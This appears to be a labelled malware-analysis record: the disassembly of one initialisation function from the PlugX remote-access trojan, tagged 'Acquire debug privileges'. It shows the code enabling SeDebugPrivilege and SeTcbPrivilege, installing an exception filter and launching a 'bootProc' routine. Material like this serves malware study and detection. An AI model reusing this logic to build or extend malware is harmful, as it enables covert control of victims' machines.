Function at 0x10001230
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 8
cmp dword [0x10031118], 0
push esi
push edi
mov dword [esp + 0xc], ecx
jne 0x10001257
push 1
call fcn.1002422e
add esp, 4
mov dword [0x10031118], eax
cmp dword [0x10031110], 0
mov edi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
jne 0x100012d7
push 0x2c
call fcn.1002422e
mov esi, eax
add esp, 4
test esi, esi
je 0x100012cd
lea ecx, [esi + 0x14]
push ecx
call edi
push 0x4000
push 0x42
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0x400
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
mov dword [esi + 0x10], eax
call dword [sym.imp.KERNEL32.dll_LocalLock]
mov dword [esi], eax
xor ecx, ecx
nop dword [eax]
mov eax, dword [esi]
mov dword [eax + ecx + 8], 0
add ecx, 0x10
cmp ecx, 0x4000
jl 0x100012b0
mov dword [0x10031110], esi
jmp 0x100012d7
mov dword [0x10031110], 0
cmp dword [0x1003111c], 0
jne 0x10001314
push 0x24
call fcn.1002422e
mov esi, eax
add esp, 4
test esi, esi
je 0x1000130a
push esi
call edi
lea ecx, [esi + 0x18]
mov dword [0x1003111c], esi
mov dword [ecx + 8], 0
mov dword [ecx], ecx
mov dword [ecx + 4], ecx
jmp 0x10001314
mov dword [0x1003111c], 0
cmp dword [0x10031114], 0
jne 0x1000136c
push 0xa0
call fcn.1002422e
mov esi, eax
add esp, 4
test esi, esi
je 0x10001362
lea ecx, [esi + 0x88]
push ecx
call edi
mov dword [esi], 0
mov dword [esi + 0x78], 0
mov dword [esi + 0x80], 0x10024859
mov dword [esi + 0x84], 0x100248eb
mov dword [0x10031114], esi
jmp 0x1000136c
mov dword [0x10031114], 0
cmp dword [0x1002d3c0], 0
jne 0x10001384
push 1
call fcn.1002422e
add esp, 4
mov dword [0x1002d3c0], eax
cmp dword [0x1002d3d4], 0
jne 0x100013c1
push 0x24
call fcn.1002422e
mov esi, eax
add esp, 4
test esi, esi
je 0x100013b7
push esi
call edi
lea ecx, [esi + 0x18]
mov dword [0x1002d3d4], esi
mov dword [ecx + 8], 0
mov dword [ecx], ecx
mov dword [ecx + 4], ecx
jmp 0x100013c1
mov dword [0x1002d3d4], 0
cmp dword [0x1002d3c8], 0
jne 0x1000142d
push 0x18
call fcn.1002422e
mov esi, eax
add esp, 4
test esi, esi
je 0x10001423
push 0
push 0
push 1
push 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 8], 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [esi], eax
test eax, eax
jne 0x1000141b
push eax
lea edx, [eax + 8]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
mov dword [0x1002d3c8], esi
jmp 0x1000142d
mov dword [0x1002d3c8], 0
xor ecx, ecx
call section..text
cmp dword [0x1002d3d0], 0
jne 0x1000146c
push 4
call fcn.1002422e
mov esi, eax
add esp, 4
test esi, esi
je 0x10001462
push 0x10006980
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov dword [esi], eax
mov dword [0x1002d3d0], esi
jmp 0x1000146c
mov dword [0x1002d3d0], 0
cmp dword [0x1002d3d8], 0
jne 0x100014a1
push 0x1994
call fcn.1002422e
add esp, 4
test eax, eax
je 0x10001497
mov dword [eax + 0x1990], 0
mov dword [0x1002d3d8], eax
jmp 0x100014a1
mov dword [0x1002d3d8], 0
cmp dword [0x1002d3dc], 0
jne 0x100014fd
push 0x688
call fcn.1002422e
add esp, 4
test eax, eax
je 0x100014f3
lea ecx, [eax + 8]
mov edx, 0x20
mov dword [ecx - 8], 0xffffffff
lea ecx, [ecx + 0x34]
mov dword [ecx - 0x38], 0
mov dword [ecx - 0x34], 0
sub edx, 1
jne 0x100014c3
mov dword [eax + 0x680], edx
mov dword [eax + 0x684], edx
mov dword [0x1002d3dc], eax
jmp 0x100014fd
mov dword [0x1002d3dc], 0
cmp dword [0x1002d3c4], 0
jne 0x10001559
push 0x1a20
call fcn.1002422e
mov esi, eax
add esp, 4
test esi, esi
je 0x1000154f
lea ecx, [esi + 0x1a08]
push ecx
call edi
push 0x1a00
xor edx, edx
mov ecx, esi
call fcn.100242ad
add esp, 4
mov dword [esi + 0x1a00], 0
mov dword [esi + 0x1a04], 0
mov dword [0x1002d3c4], esi
jmp 0x10001559
mov dword [0x1002d3c4], 0
mov esi, dword [0x1002d3c8]
test esi, esi
jne 0x100015be
push 0x18
call fcn.1002422e
mov esi, eax
add esp, 4
test esi, esi
je 0x100015b6
push 0
push 0
push 1
push 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 8], 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [esi], eax
test eax, eax
jne 0x100015b8
push eax
lea edx, [eax + 8]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
jmp 0x100015b8
xor esi, esi
mov dword [0x1002d3c8], esi
mov eax, dword [esp + 0xc]
mov ecx, str.SeDebugPrivilege
mov dword [esi + 4], eax
call fcn.1001bc00
mov ecx, str.SeTcbPrivilege
call fcn.1001bc00
mov esi, dword [0x1002d3d4]
test esi, esi
jne 0x1000160f
push 0x24
call fcn.1002422e
mov esi, eax
add esp, 4
test esi, esi
je 0x10001607
push esi
call edi
lea eax, [esi + 0x18]
mov dword [eax + 8], 0
mov dword [eax], eax
mov dword [eax + 4], eax
jmp 0x10001609
xor esi, esi
mov dword [0x1002d3d4], esi
push 0
push 0x10001ce0
push str.bootProc
push 0x1002d3f0
mov ecx, esi
call fcn.10023c80
mov esi, eax
test esi, esi
je 0x10001650
push esi
mov edx, 0x35
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBoot.cpp
call fcn.10024152
push esi
mov edx, 0x2f
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodedllmain.cpp
call fcn.10024152
add esp, 8
pop edi
pop esi
mov esp, ebp
pop ebp
ret